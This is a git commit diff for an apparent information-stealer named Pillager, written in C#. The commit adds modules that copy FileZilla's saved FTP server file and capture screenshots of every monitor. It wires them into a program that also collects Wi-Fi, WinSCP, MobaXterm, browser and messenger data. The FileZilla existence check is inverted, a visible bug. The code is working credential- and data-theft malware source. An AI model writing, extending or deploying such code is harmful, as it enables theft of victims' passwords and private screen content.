Add FileZilla,Foxmail,Screenshot
This commit is contained in:
parent
161d45d6be
commit
dbb4cb8991
|
@ -0,0 +1,28 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Pillager.FTP
|
||||
{
|
||||
internal class FileZilla
|
||||
{
|
||||
public static string FTPName = "FileZilla";
|
||||
|
||||
public static void Save(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
string xmlpath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), @"FileZilla\recentservers.xml");
|
||||
if (!File.Exists(xmlpath))
|
||||
{
|
||||
string savepath = Path.Combine(path, FTPName);
|
||||
Directory.CreateDirectory(savepath);
|
||||
File.Copy(xmlpath, Path.Combine(savepath, FTPName + ".txt"));
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -8,6 +8,8 @@ namespace Pillager.Helper
|
|||
{
|
||||
public static class Native
|
||||
{
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool SetProcessDPIAware();
|
||||
[DllImport("ntdll", SetLastError = true)]
|
||||
public static extern uint NtSuspendProcess([In] IntPtr Handle);
|
||||
[DllImport("ntdll.dll", SetLastError = false)]
|
||||
|
|
|
@ -15,8 +15,8 @@ namespace Pillager.Mails
|
|||
{
|
||||
try
|
||||
{
|
||||
string foxPath = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command").GetValue("").ToString();
|
||||
foxPath = foxPath.Remove(foxPath.LastIndexOf("Foxmail.exe", StringComparison.Ordinal)).Replace("\"", "");
|
||||
string foxPath = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command")?.GetValue("").ToString();
|
||||
foxPath = foxPath?.Remove(foxPath.LastIndexOf("Foxmail.exe", StringComparison.Ordinal)).Replace("\"", "");
|
||||
return foxPath;
|
||||
}
|
||||
catch { return ""; }
|
||||
|
|
|
@ -0,0 +1,51 @@
|
|||
using Pillager.Helper;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pillager.Others
|
||||
{
|
||||
internal class ScreenShot
|
||||
{
|
||||
public static string OtherName = "ScreenShot";
|
||||
|
||||
public static void Save(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
string savepath = Path.Combine(path, OtherName);
|
||||
try
|
||||
{
|
||||
Native.SetProcessDPIAware();
|
||||
}
|
||||
catch { }
|
||||
if (Screen.AllScreens.Length > 0)
|
||||
{
|
||||
Directory.CreateDirectory(savepath);
|
||||
for (int i = 0; i < Screen.AllScreens.Length; i++)
|
||||
{
|
||||
Screen screen = Screen.AllScreens[i];
|
||||
using (Bitmap bitmap = new Bitmap(screen.Bounds.Width, screen.Bounds.Height, PixelFormat.Format32bppArgb))
|
||||
{
|
||||
using (Graphics graphics = Graphics.FromImage(bitmap))
|
||||
{
|
||||
graphics.CopyFromScreen(screen.Bounds.Left, screen.Bounds.Top, 0, 0, new Size(bitmap.Width, bitmap.Height), CopyPixelOperation.SourceCopy);
|
||||
}
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
bitmap.Save(Path.Combine(savepath, OtherName + i + ".jpg"), ImageFormat.Jpeg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -34,8 +34,10 @@
|
|||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Security" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="WindowsBase" />
|
||||
</ItemGroup>
|
||||
|
@ -43,6 +45,7 @@
|
|||
<Compile Include="Browsers\FireFox.cs" />
|
||||
<Compile Include="Browsers\IE.cs" />
|
||||
<Compile Include="Browsers\OldSogou.cs" />
|
||||
<Compile Include="FTP\FileZilla.cs" />
|
||||
<Compile Include="FTP\WinSCP.cs" />
|
||||
<Compile Include="Helper\AesGcm.cs" />
|
||||
<Compile Include="Helper\Asn1Der.cs" />
|
||||
|
@ -74,6 +77,7 @@
|
|||
<Compile Include="Messengers\QQ.cs" />
|
||||
<Compile Include="Messengers\Skype.cs" />
|
||||
<Compile Include="Messengers\Telegram.cs" />
|
||||
<Compile Include="Others\ScreenShot.cs" />
|
||||
<Compile Include="Others\Wifi.cs" />
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
|
|
|
@ -27,9 +27,11 @@ namespace Pillager
|
|||
|
||||
//Others
|
||||
Wifi.Save(savepath);
|
||||
ScreenShot.Save(savepath);
|
||||
|
||||
//FTP
|
||||
WinSCP.Save(savepath);
|
||||
FileZilla.Save(savepath);
|
||||
|
||||
//Tools
|
||||
MobaXterm.Save(savepath);
|
||||
|
|
Loading…
Reference in New Issue